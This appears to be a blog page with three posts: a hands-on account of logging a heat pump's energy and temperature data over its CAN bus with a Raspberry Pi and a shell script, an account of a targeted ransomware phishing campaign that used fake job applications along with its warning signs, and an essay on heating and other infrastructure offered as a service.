Heat pump with cover removed – CAN High (H – red), Low (L – blue), and Ground (yellow) are connected. The CAN cable is a few meters long and connects to the Raspberry Pi CAN board.

In the first tests Raspberry Pi had the privilege to overlook the heat pump room as the top of the buffer tank was the only spot the WLAN signal was strong enough …

Raspberry Pi, on top of the buffer tank

Typical, temporary nerd’s test setup.

… or I used a cross-over ethernet cable and a special office desk:

Working on the heat pump - Raspberry Pi adventures

Typical, temporary nerd’s workplace.

Now Raspberry Pi has its final position on the ‘organic controller board’, next to control unit UVR16x2 – and after a major upgrade to both LAN and WLAN all connections are reliable.

Raspberry Pi with PiCAN board from SK Pang and UVR16x2

Raspberry Pi with PiCAN board from SK Pang and UVR16x2 control unit from Technische Alternative (each connected to a different CAN bus).

Bringing up the interface

According to messpunkt.org the bit rate of Stiebel-Eltron’s bus is 20000 bit/s; so the interface is activated with:

sudo ip link set can0 type can bitrate 20000
sudo ifconfig can0 up

Watching the idle bus

First I was simply watching with sniffer Wireshark if the heat pump says anything without being triggered. It does not – only once every few minutes there are two packets. So I need to learn to talk to it.

Learning about CAN communications

SK Pang provides an example of requesting data using open source tool cansend: The so-called CAN ID is followed by # and the actual data. This CAN ID refers to an ‘object’ – a set of properties of the device, like the set of inputs or outputs – and it can contain also the node ID of the device on the bus. There are many CAN tutorials on the net, I found this tutorial very useful.

I was able to follow the communications of the two nodes in my test bus as I knew their node numbers and what to expect – the data logger would ask the controller for a set of configured sensor outputs every minute. Most packets sent by either bus member are related to object 480, indicating the transmission of a set of values (Process Data Exchange Objects, PDOs. More details on UVR’s CAN communication, in German)

Network trace on test CAN bus: UVR1611 and BL-NET

Sniffing test CAN bus – communication of UVR1611 (node no 1) and logger BL-NET (node number 62 = 3e). Both devices use an ID related to object ID 480 plus their respective node number, as described here.

So I need to know object ID(s) and properly formed data values to ask the heat pump for energy readings, and I must not break something by changing values.

Collecting interesting heat pump parameters for monitoring

I am very grateful for Jürg’s CAN tool can_scan that allow for querying a Stiebel-Eltron heat pump for specific values and also for learning about all possible parameters (listed in so-called Elster tables).

In order to check the list of allowed CAN IDs used by the heat pump I run:

./can_scan can0 680

can0 is the (default) name of the interface created earlier and 680 is my (the sender’s) CAN ID, one of the IDs allowed by can_scan.

Start of output:

elster-kromschroeder can-bus address scanner and test utility
copyright (c) 2014 Jürg Müller, CH-5524

scan on CAN-id: 680
list of valid can id's:

  000 (8000 = 325-07)
  180 (8000 = 325-07)
  301 (8000 = 325-07)
  480 (8000 = 325-07)
  601 (8000 = 325-07)

In order to investigate available values and their meaning I run can_scan for each of these IDs:

./can_scan can0 680 180

Embedded below is part of the output, containing some of the values (and /* Comments */). This list of parameters is much longer than the list of values available via the display on the heat pump!

I am mainly interested in metered energies and current temperatures of the heat source (brine) and the ‘environment’ – to compare these values to other sensors’ output:

elster-kromschroeder can-bus address scanner and test utility
copyright (c) 2014 Jürg Müller, CH-5524

0001:  0000  (FEHLERMELDUNG  0)
0003:  019a  (SPEICHERSOLLTEMP  41.0)
0005:  00f0  (RAUMSOLLTEMP_I  24.0)
0006:  00c8  (RAUMSOLLTEMP_II  20.0)
0007:  00c8  (RAUMSOLLTEMP_III  20.0)
0008:  00a0  (RAUMSOLLTEMP_NACHT  16.0)
0009:  3a0e  (UHRZEIT  14:58)
000a:  1208  (DATUM  18.08.)
000c:  00e9  (AUSSENTEMP  23.3) /* Ambient temperature */
000d:  ffe6  (SAMMLERISTTEMP  -2.6)
000e:  fe70  (SPEICHERISTTEMP  -40.0)
0010:  0050  (GERAETEKONFIGURATION  80)
0013:  01e0  (EINSTELL_SPEICHERSOLLTEMP  48.0)
0016:  0140  (RUECKLAUFISTTEMP  32.0) /* Heating water return temperature */
...
01d4:  00e2  (QUELLE_IST  22.6) /* Source (brine) temperature */
...
/* Hot tap water heating energy MWh + kWh */
/* Daily totaly */   
092a:  030d  (WAERMEERTRAG_WW_TAG_WH  781)
092b:  0000  (WAERMEERTRAG_WW_TAG_KWH  0)
/* Total energy since system startup */
092c:  0155  (WAERMEERTRAG_WW_SUM_KWH  341)
092d:  001a  (WAERMEERTRAG_WW_SUM_MWH  26)
/* Space heating energy, MWh + kWh */
/* Daily totals */
092e:  02db  (WAERMEERTRAG_HEIZ_TAG_WH  731)
092f:  0006  (WAERMEERTRAG_HEIZ_TAG_KWH  6)
/* Total energy since system startup */
0930:  0073  (WAERMEERTRAG_HEIZ_SUM_KWH  115)
0931:  0027  (WAERMEERTRAG_HEIZ_SUM_MWH  39)

Querying for one value

The the heating energy to date in MWh corresponds to index 0931:

./can_scan can0 680 180.0931

The output of can_scan already contains the sum of the MWh (0931) and kWh (0930) values:

elster-kromschroeder can-bus address scanner and test utility
copyright (c) 2014 Jürg Müller, CH-5524

value: 0027  (WAERMEERTRAG_HEIZ_SUM_MWH  39.115)

The network trace shows that the logger (using ID 680) queries for two values related to ID 180 – the kWh and the MWh part:

Network trace on heat pump's CAN bus: Querying for space heating energy to date.

Network trace of Raspberry Pi CAN logger (ID 680) querying CAN ID 180. Since the returned MWh value is the sum of MWh and kWh value, two queries are needed. Detailed interpretation of packets in the text below.

Interpretation of these four packets – as explained on Jürg’s website here and here in German:

00 00 06 80 05 00 00 00 31 00 fa 09 31  
00 00 01 80 07 00 00 00 d2 00 fa 09 31 00 27
00 00 06 80 05 00 00 00 31 00 fa 09 30 
00 00 01 80 07 00 00 00 d2 00 fa 09 30 00 73
|---------| ||          |---| || |---| |---|
1)          2)          3)    4) 5)    6)

1) CAN-ID used by the sender: 180 or 680 
2) No of bytes of data - 5 for queries, 7 for replies
3) CAN ID of the communications partner and type of message. 
For queries the second digit is 1. 
Pattern: n1 0m with n = 180 / 80 = 3 (hex) and m = 180 mod 8 = 0 
(hex) Partner ID = 30 * 8 (hex) + 00 = 180 
Responses follow a similar pattern using second digit 2: 
Partner ID is: d0 * 8 + 00 = 680 
4) fa indicates that the Elster index no is greater equal ff. 
5) Index (parameter) queried for: 0930 for kWh and 0931 for MWh
6) Value returned 27h=39,73h=115

I am not sure which node IDs my logger and the heat pump use as the IDs. 180 seems to be an object ID without node ID added while 301 would refer to object ID + node ID 1. But I suppose with two devices on the bus only, and one being only a listener, there is no ambiguity.

Logging script

I found all interesting indices listed under CAN ID 180; so am now looping through this set once every three minutes with can_scan, cut out the number, and add it to a new line in a text log file. The CAN interfaces is (re-)started every time in case something happens, and the file is sent to my local server via FTP.

Every month a new log file is started, and log files – to be imported into my SQL Server  and processed as log files from UVR1611 / UVR16x2, the PV generator’s inverter, or the smart meter.

(Not the most elegant script – consider it a ‘proof of concept’! Another option is to trigger the sending of data with can_scan and collect output via can_logger.)

Interesting to-be-logged parameters are added to a ‘table’ – a file called indices:

0016 RUECKLAUFISTTEMP
01d4 QUELLE_IST
01d6 WPVORLAUFIST
091b EL_AUFNAHMELEISTUNG_WW_TAG_KWH
091d EL_AUFNAHMELEISTUNG_WW_SUM_MWH
091f EL_AUFNAHMELEISTUNG_HEIZ_TAG_KWH
0921 EL_AUFNAHMELEISTUNG_HEIZ_SUM_MWH
092b WAERMEERTRAG_WW_TAG_KWH
092f WAERMEERTRAG_HEIZ_TAG_KWH
092d WAERMEERTRAG_WW_SUM_MWH
0931 WAERMEERTRAG_HEIZ_SUM_MWH
000c AUSSENTEMP
0923 WAERMEERTRAG_2WE_WW_TAG_KWH
0925 WAERMEERTRAG_2WE_WW_SUM_MWH
0927 WAERMEERTRAG_2WE_HEIZ_TAG_KWH
0929 WAERMEERTRAG_2WE_HEIZ_SUM_MWH

Script:

# Define folders
logdir="/CAN_LOGS"
scriptsdir="/CAN_SCRIPTS"
indexfile="$scriptsdir/indices"

# FTP parameters
ftphost="FTP_SERVER"
ftpuser="FTP_USER"
ftppw="***********"

# Exit if scripts not found
if ! [ -d $scriptsdir ] 
then
    echo Directory $scriptsdir does not exist!
    exit 1
fi

# Create log dir if it does not exist yet
if ! [ -d $logdir ] 
then
    mkdir $logdir
fi

sleep 5

echo ======================================================================

# Start logging
while [ 0 -le 1 ]
do

# Get current date and start new logging line
now=$(date +'%Y-%m-%d;%H:%M:%S')
line=$now
year=$(date +'%Y')
month=$(date +'%m')
logfile=$year-$month-can-log-wpf7.csv
logfilepath=$logdir/$logfile

# Create a new file for every month, write header line
if ! [ -f $logfilepath ] 
then
    headers="Datum Uhrzeit"
    while read indexline
    do 
        header=$(echo $indexline | cut -d" " -f2) 
        headers+=";"$header
    done < $indexfile ; echo "$headers" > $logfilepath 
fi

# (Re-)start CAN interface
    sudo ip link set can0 type can bitrate 20000
    sudo ip link set can0 up

# Loop through interesting Elster indices
while read indexline
do 
    # Get output of can_scan for this index, search for line with output values
    index=$(echo $indexline | cut -d" " -f1)
    value=$($scriptsdir/./can_scan can0 680 180.$index | grep "value" | replace ")" "" | grep -o "\-*[0-9]*\.\?[0-9]*$" | replace "." ",")     
    echo "$index $value"     

    # Append value to line of CSV file     
    line="$line;$value" 
done < $indexfile ; echo $line >> $logfilepath

# echo FTP log file to server
ftp -n -v $ftphost << END_SCRIPT
ascii
user $ftpuser $ftppw
binary
cd RPi
ls
lcd $logdir
put $logfile
ls
bye
END_SCRIPT

echo "------------------------------------------------------------------"

# Wait - next logging data point
sleep 180

# Runs forever, use Ctrl+C to stop
done

In order to autostart the script I added a line to the rc.local file:

su pi -c '/CAN_SCRIPTS/pkt_can_monitor'

Using the logged values

In contrast to brine or water temperature heating energies are not available on the heat pump’s CAN bus in real-time: The main MWh counter is only incremented once per day at midnight. Then the daily kWh counter is added to the previous value.

Daily or monthly energy increments are calculated from the logged values in the SQL database and for example used to determine performance factors (heating energy over electrical energy) shown in our documentation of measurement data for the heat pump system.

Have I Seen the End of E-Mail?

Not that I desire it, but my recent encounters of ransomware make me wonder.

Some people in say, accounting or HR departments are forced to use e-mail with utmost paranoia. Hackers send alarmingly professional e-mails that look like invoices, job applications, or notifications of postal services. Clicking a link starts the download of malware that will encrypt all your data and ask for ransom.

Theoretically you could still find out if an e-mail was legit by cross-checking with open invoices, job ads, and expected mail. But what if hackers learn about your typical vendors from your business website or if they read your job ads? Then they would send plausible e-mails and might refer to specific codes, like the number of your job ad.

Until recently I figured that only medium or larger companies would be subject to targeted attacks. One major Austrian telco was victim of a Denial of Service attacked and challenged to pay ransom. (They didn’t, and were able to deal with the attack successfully.)

But then I have encountered a new level of ransomware attacks – targeting very small Austrian businesses by sending ‘expected’ job applications via e-mail:

  • The subject line was Job application as [a job that had been advertised weeks ago at a major governmental job service platform]
  • It was written in flawless German, using typical job applicant’s lingo as you learn in trainings.
  • It was addressed to the personal e-mail of the employee dealing with applications, not the public ‘info@’ address of the business
  • There was no attachment – so malware filters could not have found anything suspicious – but only a link to a shared cloud folder (‘…as the attachments are too large…’) – run by a a legit European cloud company.
  • If you clicked the link (which you should not so unless you do this on a separate test-for-malware machine in a separate network) you saw a typical applicant’s photo and a second file – whose name translated to JobApplicationPDF.exe.

Suspicious features:

  • The EXE file should have triggered red lights. But it is not impossible that a job application creates a self-extracting archive, although I would compare that to wrapping your paper application in a box looking like a fake bomb.
  • Google’s Image Search showed that the photo has been stolen from a German photographer’s website – it was an example for a typical job applicant’s photo.
  • Both cloud and mail service used were less known ones. It has been reported that Dropbox had removed suspicious files so it seemed that attackers turned to alternative services. (Both mail and cloud provider reacted quickly and shut down the suspicious accounts)
  • The e-mail did not contain a phone number or street address, just the pointer to the cloud store: Possible but weird as an applicant should be eager to encourage communications via all channels. There might be ‘normal’ issues with accessing a cloud store link (e.g. link falsely blocked by corporate firewall) – so the HR department should be able to call the applicant.
  • Googling the body text of the e-mail gave one result only – a new blog entry of an IT professional quoting it at full length. The subject line was personalized to industry sector and a specific job ad – but the bulk of the text was not.
  • The non-public e-mail address of the HR person was googleable as the job ad plus contact data appeared on a job platform in a different language and country, without the small company’s consent of course. So harvesting both e-mail address and job description automatically.

I also wonder if my Everything as a Service vision will provide a cure: More and more communication has been moved to messaging on social networks anyway – for convenience and avoiding false negative spam detection. E-Mail – powered by old SMTP protocol with tacked on security features, run on decentralized mail servers – is being replaced by messaging happening within a big monolithic block of a system like Facebook messaging. Larger employers already require their applications to submit their CVs using their web platforms, as well as large corporations demand that their suppliers use their billing platform instead of sending invoices per e-mail.

What needs to be avoided is downloading an executable file and executing it in an environment not controlled by security policies. A large cloud provider might have a better chance to enforce security, and viewing or processing an ‘attachment’ could happen in the provider’s environment. As an alternative all ‘our’ devices might be actually be part of a service and controlled more tightly by centrally set policies. Disclaimer: Not sure if I like that.

Iconic computer virus - from my very first small business website in 1997. Image credits mine.

(‘Computer virus’ – from my first website 1997. Credits mine)

 

Everything as a Service

Three years ago I found a research paper that proposed a combination of distributed computing and heating as a service: A cloud provider company like Google or Amazon would install computers in users’ homes – as black-boxes providing heat to the users and computing power to their cloud.

In the meantime I have encountered announcements of startups very similar to this idea. So finally after we have been reading about the Internet of Things every day, buzz words associated with IT infrastructure enter the real world of hand-on infrastructure.

I believe that heating will indeed be offered as a service and like cloud-based IT services: The service provider will install a box in your cellar – a black-box in terms of user access, more like a home router operated by the internet provider today. It will be owned and operated by a provider you have a service contract with. There will be defined and restricted interfaces for limited control and monitoring – such as setting non-critical parameters like room temperature or viewing hourly and daily statistics.

Heating boxes will get smaller, more compact, and more aesthetically pleasing. They might rather be put in the hall rather than being tucked away in a room dedicated to technical gadgets. This is in line with a trend of smaller and smaller boiler rooms for larger and larger houses. Just like computers and routers went from ugly, clunky boxes to sleek design and rounded corners, heating boxes will more look like artistic stand-alone pillars. I remember a German startup which offered home batteries this beautiful a few years back – but they switched to another business model as they seem to have been too early.

Vendors of heating systems will try to simplify their technical and organizational interfaces with contractors: As one vendor of heat pump systems told me they were working on a new way of exchanging parts all at once so that a technician certified in handling refrigerants will not be required. Anything that can go wrong on installation will go wrong no matter how detailed the checklist for the installer is – also inlet and outlet do get confused. A vendor’s vision is rather a self-contained box delivered to the client, including heating system(s), buffer storage tanks for heating water, and all required sensors, electrical wiring, and hydraulic connections between these systems – and there are solutions like that offered today.

The vendor will have secured access to this system over the internet. They will be able to monitor continuously, detect errors early and automatically, and either fix them remotely or notify the customer. In addition, vendors will be able to optimize their designs by analyzing consolidated data gathered from a large number of clients’ systems. This will work exactly in the way vendors of inverters for photovoltaic systems deal with clients’ data already today: User get access to a cloud-based portal and show off their systems and data, and maybe enter a playful competition with other system owners – what might work for smart metering might work for related energy systems, too. The vendor will learn about systems’ performance data for different geographical regions and different usage patterns.

District heating is already offered as a service today: The user is entitled to using hot water (or cold water in case a heat pump’s heat source is shared among different users). Users sometimes dislike the lack of control and the fact they cannot opt out – as district heating only works economically if a certain number of homes in a certain area is connected to the service. But in some pilot areas in Germany and Austria combined heat and power stations have already been offered as a service and a provider-operated black-box in the user’s home.

The idea of having a third external party operating essential infrastructure now owned by an end-user may sound uncommon but we might get used to it when gasoline-powered cars in a user’s possession will be replaced by electrical vehicles and related services: like having a service contractor for a battery instead of owning it. We used to have our own computer with all our data on it, and we used to download our e-mail onto it, delete it from the server, and deal with local backups. Now all of that is stored on a server owned by somebody else and which we share with other users. The incentive is the ease of access to our data from various devices and the included backup service.

I believe that all kinds of things and products as a service will be further incentivized by bundling traditionally separate products: I used to joke about the bank account bundled with electrical power, home insurance, and an internet plus phone flat rate – until the combined bank account and green power offering was shown on my online banking’s home screen. Bundling all these services will be attractive, and users might be willing to trade in their data for a much cheaper access to services – just as a non-sniffing smart phone is more expensive than its alternatives.

Heat pump - not cloud-powered.I withhold judgement as I think there is a large grey and blurry area between allegedly evil platforms that own our lives and justified outsourcing to robust and transparent services that are easy to use also by the non tech-savvy.

Update 2016-06-02 : Seems I could not withhold judgement in the comments :-) I better admit it here as the pingback from the book Service Innovation’s blog here might seem odd otherwise ;-)

The gist of my argument made in the comments was:

I believe that artisans and craftsmen will belong in one of two categories in the future:
1) Either working as subcontractor, partner, or franchisee of large vendors, selling and installing standardized products – covering the last mile not accessible to robots and software (yet),
2) Or a lucky few will carve out a small niche and produce or customize bespoke units for clients who value luxurious goods for the sake of uniqueness or who value human imperfection as a fancy extra.

In other communication related to this post I called this platform effects Nassim Taleb’s Extremistan versus Mediocristan in action – the platform takes it all. Also ever growing regulation will help platforms rather than solo artisans as only large organizations can deal effectively with growing requirements re compliance – put forth both by government and by large clients or large suppliers.